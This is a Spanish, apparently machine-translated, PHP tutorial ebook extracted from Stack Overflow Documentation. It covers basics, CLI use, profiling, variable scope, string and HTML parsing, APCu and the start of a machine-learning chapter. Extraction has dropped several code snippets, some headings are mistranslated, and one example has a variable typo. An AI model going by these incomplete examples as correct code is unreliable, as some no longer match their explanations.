PHP Es
PHP Es
#php
Tabla de contenido
Acerca de 1
Observaciones 2
Versiones 3
PHP 7.x 3
PHP 5.x 3
PHP 4.x 3
Versiones heredadas 4
Examples 4
¡Hola Mundo! 6
Separación de instrucciones 7
PHP CLI 8
Disparando 8
Salida 8
Entrada 9
Ejemplo de uso 9
Configuración 10
Troncos 10
Etiquetas PHP 10
Etiquetas estándar 10
Etiquetas de eco 10
Etiquetas cortas 11
Etiquetas ASP 11
Capítulo 2: Actuación 12
Examples 12
Introducción 17
Examples 17
Variables superglobales 18
Observaciones 20
Examples 20
Subcadena 23
Examples 25
Utilizando XPath 25
SimpleXML 25
Presentación 25
Capítulo 6: APCu 28
Introducción 28
Examples 28
Almacenar información 28
Observaciones 30
Examples 30
Clasificador NaiveBayes 31
Caso practico 32
Regresión 32
Caso practico 34
Agrupación 34
k-medios 34
DBSCAN 34
Caso practico 35
Capítulo 8: Arrays 36
Introducción 36
Sintaxis 36
Parámetros 36
Observaciones 36
Ver también 36
Examples 36
Introducción 46
Examples 46
Introducción 47
Examples 47
Autenticación simple 47
Introducción 48
Sintaxis 48
Parámetros 48
Observaciones 50
Examples 50
bcsub vs float-float 50
Introducción 53
Sintaxis 53
Observaciones 53
Examples 53
para 53
para cada 54
descanso 55
hacer ... mientras 56
continuar 56
mientras 58
Parámetros 59
Examples 59
Uso del búfer de salida para almacenar contenidos en un archivo, útil para informes, factu 62
Observaciones 65
Instalación 65
Examples 65
Almacenamiento de datos 66
Obtener datos 66
Borrar datos 66
Examples 68
Examples 74
getTimestamp 74
Establece la fecha 74
Imprimir DateTimes 75
Formato 75
Uso 76
Procesal 76
Orientado a objetos 76
Equivalente de procedimiento 76
Cree una versión inmutable de DateTime desde Mutable antes de PHP 5.6 76
Introducción 78
Sintaxis 78
Observaciones 78
Examples 79
Interfaces 79
Introducción 79
Realización 79
Herencia 80
Ejemplos 81
Constantes de clase 82
Clases abstractas 86
Nota IMPORTANTE 88
Público 91
Protegido 92
Privado 93
El singleton 98
Autocarga 98
Constructor 102
Sintaxis 104
Parámetros 104
Observaciones 104
Examples 106
Observaciones 109
Examples 109
Introducción 110
Examples 110
Usando parse_url () 110
Examples 113
Examples 115
Sintaxis 117
Observaciones 117
Examples 117
Observaciones 123
Examples 123
Separadores 125
Introducción 127
Observaciones 127
Examples 127
Observaciones 129
Lanzamientos 130
Versiones 130
Examples 130
Examples 132
Sintaxis 133
Parámetros 133
Observaciones 133
Examples 134
Observaciones 137
Examples 137
Cifrado 137
Descifrado 137
Observaciones 141
Examples 141
Examples 146
phpinfo () 147
Advertencia 147
Introducción 147
Ejemplo 148
Xdebug 148
phpversion () 149
Introducción 149
Ejemplo 149
Introducción 150
Observaciones 150
Examples 150
Introducción 153
Sintaxis 153
Observaciones 153
Examples 153
array_reduce 164
Examples 168
Parámetros 173
Observaciones 173
Examples 174
Envío de correo electrónico: conceptos básicos, más detalles y un ejemplo completo 174
Examples 183
Observaciones 185
Examples 185
Examples 189
mientras 189
ir 190
declarar 190
si mas 190
exigir 191
incluir 191
regreso 192
para 193
Si 194
cambiar 194
Examples 196
SplFixedArray 196
Sintaxis 201
Observaciones 201
Examples 201
Iteradores 206
Generadores 207
Sintaxis 210
Parámetros 210
Observaciones 210
Examples 210
Observaciones 215
Examples 215
Empezando 215
Introducción 218
Sintaxis 218
Parámetros 218
Examples 218
Examples 230
Sintaxis 233
Examples 233
Introducción 238
Sintaxis 238
Observaciones 238
Examples 239
Determine si un hash de contraseña existente puede actualizarse a un algoritmo más fuerte 239
Introducción 243
Sintaxis 243
Parámetros 243
Observaciones 244
Examples 244
Examples 247
Introducción 252
Sintaxis 252
Parámetros 252
Observaciones 252
Examples 253
Instalación 258
En la zona 258
Globalmente 258
Examples 260
Examples 262
Instalar extensión IMAP 262
Observaciones 267
Examples 267
¿Cómo instalar y dónde debo colocar mis archivos PHP / html? 267
Postinstalación 268
Examples 272
Examples 274
Introducción 282
Examples 282
Sintaxis 286
Observaciones 286
Examples 286
Concurrencia 290
Introducción 292
Sintaxis 292
Parámetros 292
Observaciones 292
Examples 293
Argumentos 296
JSON_FORCE_OBJECT 297
JSON_NUMERIC_CHECK 297
JSON_PRETTY_PRINT 298
JSON_UNESCAPED_SLASHES 298
JSON_UNESCAPED_UNICODE 298
JSON_PARTIAL_OUTPUT_ON_ERROR 299
JSON_PRESERVE_ZERO_FRACTION 299
JSON_UNESCAPED_LINE_TERMINATORS 299
json_last_error_msg 300
json_last_error 301
Salida: 303
Sintaxis 305
Examples 305
Introducción 307
Observaciones 307
Examples 308
Asociación 310
Igualdad 311
Advertencias 315
Examples 323
Enteros 323
Heredoc 325
Ahoradoc 325
Booleano 325
Flotador 327
Advertencia 327
Callable 328
Nulo 328
Recursos 331
Sintaxis 332
Parámetros 332
Observaciones 332
Examples 333
CSV IO 334
Leyendo 340
Escritura 341
Examples 344
finalmente 345
lanzable 346
Examples 348
Examples 350
ordenar() 355
rsort () 355
un tipo() 355
Arsort () 356
ksort () 356
krsort () 356
natsort () 357
natcasesort () 357
barajar() 358
usort () 358
uasort () 359
uksort () 359
Examples 362
__Encadenar() 364
__invocar() 364
Ejemplo: 366
__clon() 368
Capítulo 68: mongo-php 369
Sintaxis 369
Examples 369
Examples 372
Introducción 375
Examples 375
Getters 376
Introducción 378
Parámetros 378
Observaciones 378
Examples 378
Introducción 380
Observaciones 380
Caracteristicas 380
Alternativas 380
Examples 380
MySQLi Connect 380
Capítulo 73: php mysqli filas afectadas devuelve 0 cuando debería devolver un entero posit 390
Introducción 390
Examples 390
PHP $ stmt- >fecteado_rows devolviendo intermitentemente 0 cuando debería devolver un ente 390
Sintaxis 391
Observaciones 391
Examples 392
Colecciones 395
Ejemplos 395
Sintaxis 397
Observaciones 397
Examples 397
Definición de clase en línea, no requiere carga 397
Examples 401
Observaciones 405
Examples 405
Examples 411
Examples 414
Pruebas 419
http-client.php 419
prueba.php 421
Uso 421
http-client.php 422
Pruebas 426
Introducción 428
Examples 428
Alcance 431
Cierres 431
Cartografía 434
Reducción (o plegado) 434
Filtración 434
Introducción 435
Examples 435
Sintaxis 438
Parámetros 438
Observaciones 438
Examples 439
Examples 444
Introducción 452
Examples 452
Examples 453
Advertencia: no se puede modificar la información del encabezado - los encabezados ya envi 453
Sintaxis 455
Observaciones 455
Examples 455
Notas 457
Arrays 457
Funciones 458
Examples 460
Introducción 465
Observaciones 465
Examples 465
var_dump() : genera información de depuración legible para el ser humano sobre el contenid 468
Genere una matriz multidimensional con índice y valor e imprima en la tabla 472
Introducción 473
Observaciones 473
Examples 473
Problema 474
Solución 475
Problema 477
Solución 477
Problema 479
Solución 480
Sintaxis 484
Observaciones 484
Examples 484
Sintaxis 486
Examples 486
Sintaxis 487
Observaciones 487
Examples 487
Advertencia: 488
Examples 492
Sintaxis 493
Observaciones 493
Examples 493
Examples 496
Salida : 496
Conversión de caracteres Unicode a su valor numérico y / o entidades HTML usando PHP 496
Cómo utilizar : 497
Salida : 498
Examples 499
Shorthands 501
Limpiar 501
Sintaxis 503
Observaciones 503
Examples 503
Parámetros 508
Examples 510
Examples 515
Construye una cadena de consulta codificada en URL desde una matriz 516
Sintaxis 518
Parámetros 518
Examples 518
Envío de datos multidimensionales y varios archivos con CurlFile en una sola solicitud 522
Examples 527
Observaciones 528
Examples 528
Entrada 528
Salida 528
Almacenamiento de datos y acceso 529
Examples 531
Observaciones 533
Examples 533
sqlsrv_fetch_array () 535
sqlsrv_fetch_object () 535
sqlsrv_fetch () 535
Sintaxis 537
Observaciones 537
Examples 538
Nulo 540
Booleano 541
Entero 541
Flotador 541
Formación 541
Cuerda 542
Objeto 542
Recurso 542
Introducción 549
Examples 549
Introducción 552
$GLOBALS 553
$_SERVER 554
$_GET 556
$_POST 556
$_FILES 557
$_COOKIE 559
$_SESSION 560
$_REQUEST 560
$_ENV 560
Capítulo 107: Websockets 562
Introducción 562
Examples 562
Examples 564
Examples 571
Creditos 573
Acerca de
You can share this PDF with anyone you feel could benefit from it, downloaded the latest version
from: php
It is an unofficial and free PHP ebook created for educational purposes. All the content is extracted
from Stack Overflow Documentation, which is written by many hardworking individuals at Stack
Overflow. It is neither affiliated with Stack Overflow nor official PHP.
The content is released under Creative Commons BY-SA, and the list of contributors to each
chapter are provided in the credits section at the end of this book. Images may be copyright of
their respective owners unless otherwise specified. All trademarks and registered trademarks are
the property of their respective company owners.
Use the content presented in this book at your own risk; it is not guaranteed to be correct nor
accurate, please send your feedback and corrections to [email protected]
https://riptutorial.com/es/home 1
Capítulo 1: Empezando con PHP
Observaciones
Fuente abierta
Especificación de idioma
Versiones soportadas
Cada rama de lanzamiento de PHP es totalmente compatible durante dos años a partir de su
lanzamiento estable inicial. Después de este período de dos años de soporte activo, cada
sucursal recibe soporte por un año adicional solo para problemas de seguridad críticos. Las
liberaciones durante este período se realizan según sea necesario: puede haber varias
liberaciones puntuales, o ninguna, según el número de informes.
Versiones no soportadas
Una vez que se completan los tres años de soporte, la sucursal llega al final de su vida útil y ya no
es compatible.
Rastreador de problemas
Listas de correo
Las discusiones sobre el desarrollo y uso de PHP se llevan a cabo en las listas de correo de PHP
.
Documentacion oficial
https://riptutorial.com/es/home 2
Por favor ayuda a mantener o traducir la documentación oficial de PHP .
Puede usar el editor en edit.php.net . Echa un vistazo a nuestra guía para los colaboradores .
Versiones
PHP 7.x
PHP 5.x
PHP 4.x
https://riptutorial.com/es/home 3
Versiones heredadas
2.0 1997-11-01
1.0 1995-06-08
Examples
Salida HTML del servidor web
PHP se puede utilizar para agregar contenido a archivos HTML. Si bien el HTML se procesa
directamente mediante un navegador web, los scripts PHP se ejecutan en un servidor web y el
HTML resultante se envía al navegador.
El siguiente código HTML contiene una declaración de PHP que agregará Hello World! a la salida:
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p><?php echo "Hello world!"; ?></p>
</body>
</html>
Cuando se guarde como un script PHP y lo ejecute un servidor web, se enviará el siguiente HTML
al navegador del usuario:
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p>Hello world!</p>
</body>
</html>
echo también tiene una sintaxis de acceso directo, que le permite imprimir inmediatamente un
valor. Antes de PHP 5.4.0, esta sintaxis corta solo funciona con la configuración de configuración
short_open_tag habilitada.
https://riptutorial.com/es/home 4
<p><?= "Hello world!" ?></p>
En las aplicaciones del mundo real, todos los datos de salida de PHP a una página HTML deben
escaparse adecuadamente para evitar ataques de XSS ( secuencias de comandos entre sitios ) o
daños en el texto.
Vea también: Cadenas y PSR-1 , que describe las mejores prácticas, incluido el uso adecuado de
etiquetas cortas ( <?= ... ?> ).
En algunos casos, cuando se trabaja con un servidor web, puede ser necesario reemplazar el tipo
de contenido predeterminado del servidor web. Puede haber casos en los que necesite enviar
datos como plain text , JSON o XML , por ejemplo.
La función header() puede enviar un encabezado HTTP en bruto. Puede agregar el encabezado
Content-Type para notificar al navegador el contenido que estamos enviando.
header("Content-Type: text/plain");
echo "Hello World";
Hola Mundo
header("Content-Type: application/json");
Tenga en cuenta que se debe llamar a la función header() antes de que PHP produzca cualquier
salida, o el servidor web ya habrá enviado encabezados para la respuesta. Por lo tanto, considere
el siguiente código:
https://riptutorial.com/es/home 5
echo "Hello";
Cuando se utiliza header() , su salida debe ser el primer byte que se envía desde el servidor. Por
esta razón, es importante no tener líneas o espacios vacíos al principio del archivo antes de la
etiqueta de apertura de PHP <?php . Por la misma razón, se considera la mejor práctica (ver PSR-
2 ) omitir la etiqueta de cierre de PHP ?> De los archivos que contienen solo PHP y de los bloques
de código PHP al final de un archivo.
¡Hola Mundo!
• tiene un retorno void , mientras que print devuelve un int con un valor de 1
echo
• echo puede tomar múltiples argumentos (sin paréntesis solamente), mientras que print solo
toma un argumento
• echo es un poco más rápido que la print
Tanto el echo como el print son construcciones de lenguaje, no funciones. Eso significa que no
requieren paréntesis alrededor de sus argumentos. Para consistencia estética con funciones, se
pueden incluir paréntesis. Los ejemplos extensos del uso del echo y la print están disponibles en
otros lugares .
El printf estilo C y las funciones relacionadas también están disponibles, como en el siguiente
ejemplo:
https://riptutorial.com/es/home 6
Consulte Generar el valor de una variable para obtener una introducción completa de las
variables de salida en PHP.
Separación de instrucciones
Al igual que la mayoría de los otros lenguajes de estilo C, cada declaración termina con un punto
y coma. Además, se usa una etiqueta de cierre para terminar la última línea de código del bloque
PHP.
Si la última línea de código PHP termina con un punto y coma, la etiqueta de cierre es opcional si
no hay ningún código después de esa línea final de código. Por ejemplo, podemos dejar la
etiqueta de cierre después del echo "No error"; en el siguiente ejemplo:
<?php echo "No error"; // no closing tag is needed as long as there is no code below
Sin embargo, si hay algún otro código que sigue a su bloque de código PHP, la etiqueta de cierre
ya no es opcional:
<?php echo "This will cause an error if you leave out the closing tag"; ?>
<html>
<body>
</body>
</html>
También podemos omitir el punto y coma de la última instrucción en un bloque de código PHP si
ese bloque de código tiene una etiqueta de cierre:
En general, se recomienda usar siempre un punto y coma y una etiqueta de cierre para cada
bloque de código PHP, excepto el último bloque de código PHP, si no hay más código que siga
ese bloque de código PHP.
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
https://riptutorial.com/es/home 7
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon but leave out the closing tag";
PHP CLI
PHP también se puede ejecutar desde la línea de comandos directamente mediante la CLI
(interfaz de línea de comandos).
CLI es básicamente lo mismo que PHP desde los servidores web, excepto algunas diferencias en
términos de entrada y salida estándar.
Disparando
La CLI de PHP permite cuatro formas de ejecutar código PHP:
1. Entrada estándar. Ejecute el comando php sin ningún argumento, pero incluya código PHP
en él:
2. Nombre de archivo como argumento. Ejecute el comando php con el nombre de un archivo
fuente PHP como primer argumento:
php hello_world.php
3. Código como argumento. Use la opción -r en el comando php , seguido del código para
ejecutar. No se requieren las etiquetas <?php open, ya que todo en el argumento se
considera como código PHP:
4. Shell interactivo Use la opción -a en el comando php para iniciar un shell interactivo. Luego,
escribe (o pega) el código PHP y pulsa devolver :
$ php -a
Interactive mode enabled
php > echo "Hello world!";
Hello world!
Salida
Todas las funciones o controles que producen resultados HTML en el servidor web PHP se
pueden usar para producir resultados en la secuencia stdout (descriptor de archivo 1), y todas las
acciones que producen resultados en los registros de errores en el servidor web PHP producirán
resultados en la secuencia stderr (archivo descriptor 2).
Example.php
https://riptutorial.com/es/home 8
<?php
echo "Stdout 1\n";
trigger_error("Stderr 2\n");
print_r("Stdout 3\n");
fwrite(STDERR, "Stderr 4\n");
throw new RuntimeException("Stderr 5\n");
?>
Stdout 6
STDOUT
Stdout 1
Stdout 3
STDERR
Stderr 4
PHP Notice: Stderr 2
in /Example.php on line 3
PHP Fatal error: Uncaught RuntimeException: Stderr 5
in /Example.php:6
Stack trace:
#0 {main}
thrown in /Example.php on line 6
Entrada
Ver: Interfaz de línea de comandos (CLI)
PHP 5.4+ viene con un servidor de desarrollo incorporado. Se puede usar para ejecutar
aplicaciones sin tener que instalar un servidor HTTP de producción como nginx o Apache. El
servidor incorporado solo está diseñado para ser utilizado con fines de desarrollo y prueba.
php -S <host/ip>:<port>
Ejemplo de uso
1. Crea un archivo index.php que contenga:
<?php
echo "Hello World from built-in PHP server";
https://riptutorial.com/es/home 9
2. Ejecute el comando php -S localhost:8080 desde la línea de comandos. No incluya http:// .
Esto iniciará la escucha del servidor web en el puerto 8080 utilizando el directorio actual en
el que se encuentra como raíz del documento.
Configuración
Para anular la raíz de documento predeterminada (es decir, el directorio actual), use la -t :
Por ejemplo, si tiene un directorio public/ en su proyecto, puede servir su proyecto desde ese
directorio utilizando php -S localhost:8080 -t public/ .
Troncos
Cada vez que se realiza una solicitud desde el servidor de desarrollo, una entrada de registro
como la que se muestra a continuación se escribe en la línea de comandos.
Etiquetas PHP
Hay tres tipos de etiquetas para denotar bloques de PHP en un archivo. El analizador de PHP
está buscando las etiquetas de apertura y (si están presentes) para delimitar el código a
interpretar.
Etiquetas estándar
Estas etiquetas son el método estándar para incrustar código PHP en un archivo.
<?php
echo "Hello World";
?>
Etiquetas de eco
Estas etiquetas están disponibles en todas las versiones de PHP, y desde PHP 5.4 siempre están
habilitadas. En versiones anteriores, las etiquetas de eco solo podían activarse junto con
https://riptutorial.com/es/home 10
etiquetas cortas.
Etiquetas cortas
Puede deshabilitar o habilitar estas etiquetas con la opción short_open_tag .
<?
echo "Hello World";
?>
Etiquetas cortas:
Etiquetas ASP
Al habilitar la opción asp_tags , se pueden usar etiquetas de estilo ASP.
<%
echo "Hello World";
%>
Estas son una peculiaridad histórica y nunca deben usarse. Fueron eliminados en PHP 7.0.
https://riptutorial.com/es/home 11
Capítulo 2: Actuación
Examples
Perfilando con XHProf
XHProf es un generador de perfiles PHP originalmente escrito por Facebook, para proporcionar
una alternativa más liviana a XDebug.
Después de instalar el módulo PHP xhprof , la creación de perfiles se puede habilitar / deshabilitar
desde el código PHP:
xhprof_enable();
doSlowOperation();
$profile_data = xhprof_disable();
La matriz devuelta contendrá datos sobre el número de llamadas, el tiempo de CPU y el uso de
memoria de cada función a la que se ha accedido dentro de doSlowOperation() .
xhprof_sample_enable() / xhprof_sample_disable() puede usarse como una opción más liviana que
solo registrará la información de perfiles para una fracción de las solicitudes (y en un formato
diferente).
XHProf tiene algunas funciones de ayuda (en su mayoría no documentadas) para mostrar los
datos ( ver ejemplo ), o puede usar otras herramientas para visualizarlos (el blog platform.sh tiene
un ejemplo ).
Uso de memoria
El uso de memoria exacto utilizado durante el tiempo de ejecución se puede determinar llamando
a memory_get_usage() . Devuelve el número de bytes de memoria asignados al script actualmente
en ejecución. A partir de PHP 5.2, tiene un parámetro booleano opcional para obtener la memoria
total del sistema asignada, a diferencia de la memoria que PHP está utilizando activamente.
<?php
echo memory_get_usage() . "\n";
// Outputs 350688 (or similar, depending on system and PHP version)
https://riptutorial.com/es/home 12
echo memory_get_usage() . "\n";
// Outputs 387704
<?php
echo memory_get_peak_usage() . "\n";
// 385688
$array = array_fill(0, 1000, 'abc');
echo memory_get_peak_usage() . "\n";
// 422736
unset($array);
echo memory_get_peak_usage() . "\n";
// 422776
Una extensión de PHP llamada Xdebug está disponible para ayudar en la creación de perfiles de
aplicaciones PHP , así como para la depuración en tiempo de ejecución. Cuando se ejecuta el
generador de perfiles, la salida se escribe en un archivo en un formato binario llamado
"cachegrind". Las aplicaciones están disponibles en cada plataforma para analizar estos archivos.
A continuación, use un cliente web para realizar una solicitud a la URL de su aplicación que
desea perfilar, por ejemplo,
http://example.com/article/1?XDEBUG_PROFILE=1
https://riptutorial.com/es/home 13
A medida que la página se procesa, se escribirá en un archivo con un nombre similar a
/tmp/cachegrind.out.12345
Tenga en cuenta que escribirá un archivo para cada solicitud / proceso de PHP que se ejecute.
Por ejemplo, si desea analizar una publicación de formulario, se escribirá un perfil para la solicitud
GET para mostrar el formulario HTML. El parámetro XDEBUG_PROFILE deberá pasar a la
solicitud POST posterior para analizar la segunda solicitud que procesa el formulario. Por lo tanto,
cuando se perfila, a veces es más fácil ejecutar curl para POSTAR un formulario directamente.
Una vez escrito, el caché de perfil puede ser leído por una aplicación como KCachegrind.
https://riptutorial.com/es/home 14
Esto mostrará información que incluye:
• Funciones ejecutadas
• Tiempo de llamada, tanto en sí mismo como inclusivo de llamadas de función posteriores
• Número de veces que se llama a cada función
https://riptutorial.com/es/home 15
• Gráficos de llamadas
• Enlaces al código fuente
Obviamente, el ajuste del rendimiento es muy específico para los casos de uso de cada
aplicación. En general es bueno buscar:
• Llamadas repetidas a la misma función que no esperaría ver. Para las funciones que
procesan y consultan datos, estas podrían ser las principales oportunidades para que su
aplicación se almacene en caché.
• Funciones de ejecución lenta. ¿Dónde está la aplicación pasando la mayor parte de su
tiempo? La mejor recompensa en la optimización del rendimiento es centrarse en aquellas
partes de la aplicación que consumen más tiempo.
Nota : Xdebug, y en particular sus características de creación de perfiles, son muy intensivos en
recursos y ralentizan la ejecución de PHP. Se recomienda no ejecutar estos en un entorno de
servidor de producción.
https://riptutorial.com/es/home 16
Capítulo 3: Alcance variable
Introducción
El alcance variable se refiere a las regiones de código donde se puede acceder a una variable.
Esto también se conoce como visibilidad . En PHP, los bloques de alcance se definen por
funciones, clases y un alcance global disponible a través de una aplicación.
Examples
Variables globales definidas por el usuario
El alcance fuera de cualquier función o clase es el alcance global. Cuando un script PHP incluye
otro (usando include o require ), el alcance sigue siendo el mismo. Si un script se incluye fuera de
cualquier función o clase, sus variables globales se incluyen en el mismo ámbito global, pero si un
script se incluye dentro de una función, las variables en el script incluido están en el alcance de la
función.
Dentro del alcance de una función o método de clase, la palabra clave global se puede usar para
crear un acceso a variables globales definidas por el usuario.
<?php
$amount_of_log_calls = 0;
function log_message($message) {
// Accessing global variable from function scope
// requires this explicit statement
global $amount_of_log_calls;
echo $message;
}
Una segunda forma de acceder a las variables desde el ámbito global es usar la matriz $
GLOBALS especial definida por PHP.
La matriz $ GLOBALS es una matriz asociativa con el nombre de la variable global que es la
https://riptutorial.com/es/home 17
clave y el contenido de esa variable es el valor del elemento de la matriz. Observe cómo $
GLOBALS existe en cualquier ámbito, esto se debe a que $ GLOBALS es un superglobal.
function log_message($message) {
// Access the global $amount_of_log_calls variable via the
// $GLOBALS array. No need for 'global $GLOBALS;', since it
// is a superglobal variable.
$GLOBALS['amount_of_log_calls'] += 1;
echo $messsage;
}
Uno podría preguntarse, ¿por qué usar la matriz $ GLOBALS cuando la palabra clave global
también se puede usar para obtener el valor de una variable global? La razón principal es que el
uso de la palabra clave global traerá la variable al alcance. Entonces no puede reutilizar el mismo
nombre de variable en el ámbito local.
Variables superglobales
Las variables superglobales están definidas por PHP y siempre se pueden usar desde cualquier
lugar sin la palabra clave global .
<?php
return $default;
}
// retrieves $_POST['username']
echo getPostValue('username');
Las propiedades de clase estáticas que se definen con la visibilidad public son funcionalmente las
mismas que las variables globales. Se puede acceder desde cualquier lugar donde se defina la
clase.
class SomeClass {
public static int $counter = 0;
}
https://riptutorial.com/es/home 18
// and doesn't require an instantiation of the class
SomeClass::$counter += 1;
Las funciones también pueden definir variables estáticas dentro de su propio alcance. Estas
variables estáticas persisten a través de múltiples llamadas a funciones, a diferencia de las
variables regulares definidas en el alcance de una función. Esta puede ser una forma muy fácil y
sencilla de implementar el patrón de diseño de Singleton:
class Singleton {
public static function getInstance() {
// Static variable $instance is not deleted when the function ends
static $instance;
// Second call to this function will not get into the if-statement,
// Because an instance of Singleton is now stored in the $instance
// variable and is persisted through multiple calls
if (!$instance) {
// First call to this function will reach this line,
// because the $instance has only been declared, not initialized
$instance = new Singleton();
}
return $instance;
}
}
$instance1 = Singleton::getInstance();
$instance2 = Singleton::getInstance();
// Comparing objects with the '===' operator checks whether they are
// the same instance. Will print 'true', because the static $instance
// variable in the getInstance() method is persisted through multiple calls
var_dump($instance1 === $instance2);
https://riptutorial.com/es/home 19
Capítulo 4: Análisis de cuerdas
Observaciones
Se debe usar Regex para otros usos además de sacar cuerdas de las cuerdas o cortar las
cuerdas de otra manera.
Examples
Dividir una cadena por separadores
explode y strstr son métodos más simples para obtener subcadenas por separadores.
Una cadena que contiene varias partes del texto que están separadas por un carácter común se
puede dividir en partes con la función de explode .
$fruits = "apple,pear,grapefruit,cherry";
print_r(explode(",",$fruits)); // ['apple', 'pear', 'grapefruit', 'cherry']
El método también admite un parámetro de límite que se puede utilizar de la siguiente manera:
$fruits= 'apple,pear,grapefruit,cherry';
print_r(explode(',',$fruits,0)); // ['apple,pear,grapefruit,cherry']
Si se establece límite y positivo, la matriz devuelta contendrá un máximo de elementos límite con
el último elemento que contiene el resto de la cadena.
Si el parámetro límite es negativo, se devuelven todos los componentes excepto el último límite.
explode se puede combinar con list para analizar una cadena en variables en una línea:
$email = "[email protected]";
list($name, $domain) = explode("@", $email);
strstr quita o solo devuelve la subcadena antes de la primera aparición de la aguja dada.
https://riptutorial.com/es/home 20
$string = "1:23:456";
echo json_encode(explode(":", $string)); // ["1","23","456"]
var_dump(strstr($string, ":")); // string(7) ":23:456"
strpos puede entenderse como el número de bytes en el pajar antes de la primera aparición de la
aguja.
https://riptutorial.com/es/home 21
Búsqueda a partir de un offset
// With offset we can search ignoring anything before the offset
$needle = "Hello";
$haystack = "Hello world! Hello World";
preg_match puede usarse para analizar cadenas usando expresiones regulares. Las partes de la
expresión entre paréntesis se denominan subpatrones y con ellas puede seleccionar partes
individuales de la cadena.
https://riptutorial.com/es/home 22
Salida
Array
(
[0] => <a href="http://example.org">My Link</a>
[1] => http://example.org
[2] => My Link
)
Subcadena
La subcadena devuelve la porción de cadena especificada por los parámetros de inicio y longitud.
Si existe la posibilidad de cumplir con cadenas de caracteres de múltiples bytes, sería más seguro
usar mb_substr.
$cake = "cakeæøå";
var_dump(substr($cake, 0, 5)); // string(5) "cake�"
var_dump(mb_substr($cake, 0, 5, 'UTF-8')); // string(6) "cakeæ"
Otra variante es la función substr_replace, que reemplaza el texto dentro de una parte de una
cadena.
Digamos que quiere encontrar una palabra específica en una cadena y no quiere usar Regex.
// If the casing in the text is not important, then using strtolower helps to compare strings
var_dump(substr($hi, 0, strpos($hi, " ")) == 'hello'); // bool(false)
var_dump(strtolower(substr($hi, 0, strpos($hi, " "))) == 'hello'); // bool(true)
$email = "[email protected]";
$wrong = "foobar.co.uk";
$notld = "foo@bar";
https://riptutorial.com/es/home 23
$domain = substr($email, $at + 1); // string(11) "example.com"
$womain = substr($wrong, $wat + 1); // string(11) "oobar.co.uk"
$nomain = substr($notld, $nat + 1); // string(3) "bar"
https://riptutorial.com/es/home 24
Capítulo 5: Análisis de HTML
Examples
Analizar HTML desde una cadena
PHP implementa un analizador compatible con DOM Nivel 2 , lo que le permite trabajar con HTML
utilizando métodos conocidos como getElementById() o appendChild() .
echo $doc->getElementById("text")->textContent;
Salidas:
Hello, World!
Tenga en cuenta que PHP emitirá advertencias sobre cualquier problema con el HTML,
especialmente si está importando un fragmento de documento. Para evitar estas advertencias,
indique a la biblioteca DOM (libxml) que maneje sus propios errores llamando a
libxml_use_internal_errors() antes de importar su HTML. Luego puede usar libxml_get_errors()
para manejar los errores si es necesario.
Utilizando XPath
echo $span->textContent;
Salidas:
Hello, World!
SimpleXML
Presentación
https://riptutorial.com/es/home 25
• SimpleXML es una biblioteca de PHP que proporciona una manera fácil de trabajar con
documentos XML (especialmente leer e iterar a través de datos XML).
// You can load a local file path or a valid URL (if allow_url_fopen is set to "On" in php.ini
// $isPathToFile: it informs the constructor that the first argument represents the path to a
file, rather than a string that contains 1the XML data itself.
https://riptutorial.com/es/home 26
echo $book->author;
echo $book->publisher;
}
https://riptutorial.com/es/home 27
Capítulo 6: APCu
Introducción
APCu es un almacén de valor-clave de memoria compartida para PHP. La memoria se comparte
entre los procesos PHP-FPM de la misma agrupación. Los datos almacenados persisten entre las
solicitudes.
Examples
Almacenamiento y recuperación simples
$key = 'Hello';
$value = 'World';
apcu_store($key, $value);
print(apcu_fetch('Hello')); // 'World'
Almacenar información
print_r(apcu_cache_info());
Tenga en cuenta que invocar apcu_cache_info() sin límite devolverá los datos
completos almacenados actualmente.
Para obtener solo los metadatos, use apcu_cache_info(true) .
Para obtener información sobre ciertas entradas de caché, utilice mejor APCUIterator .
El iterador se puede inicializar con una expresión regular opcional para seleccionar solo entradas
con claves coincidentes:
La información sobre una sola entrada de caché se puede obtener a través de:
https://riptutorial.com/es/home 28
$key = '…';
$regex = '(^' . preg_quote($key) . '$)';
print_r((new APCUIterator($regex))->current());
https://riptutorial.com/es/home 29
Capítulo 7: Aprendizaje automático
Observaciones
El tema utiliza PHP-ML para todos los algoritmos de aprendizaje automático. La instalación de la
biblioteca se puede hacer usando
También vale la pena señalar que los ejemplos que se dan son conjuntos de datos muy pequeños
solo para fines de demostración. El conjunto de datos real debería ser más completo que eso.
Examples
Clasificación utilizando PHP-ML
El método de train y predict es el mismo para todos los clasificadores. La única diferencia sería
en el algoritmo subyacente utilizado.
// Import library
use Phpml\Classification\SVC;
use Phpml\SupportVectorMachine\Kernel;
https://riptutorial.com/es/home 30
// Initialize the classifier
$classifier = new SVC(Kernel::LINEAR, $cost = 1000);
// Train the classifier
$classifier->train($samples, $labels);
El código es bastante sencillo. $cost utilizado anteriormente es una medida de cuánto queremos
evitar errores de clasificación de cada ejemplo de capacitación. Por un valor menor de $cost
puede obtener ejemplos mal clasificados. Por defecto se establece en 1.0
Ahora que hemos capacitado al clasificador, podemos comenzar a hacer algunas predicciones
reales. Considera los siguientes códigos que tenemos para las predicciones.
El clasificador en el caso anterior puede tomar muestras sin clasificar y predice sus etiquetas.
predict método de predict puede tomar una sola muestra, así como una serie de muestras.
$neighbor_num es el número de vecinos más cercanos para escanear en el algoritmo knn , mientras
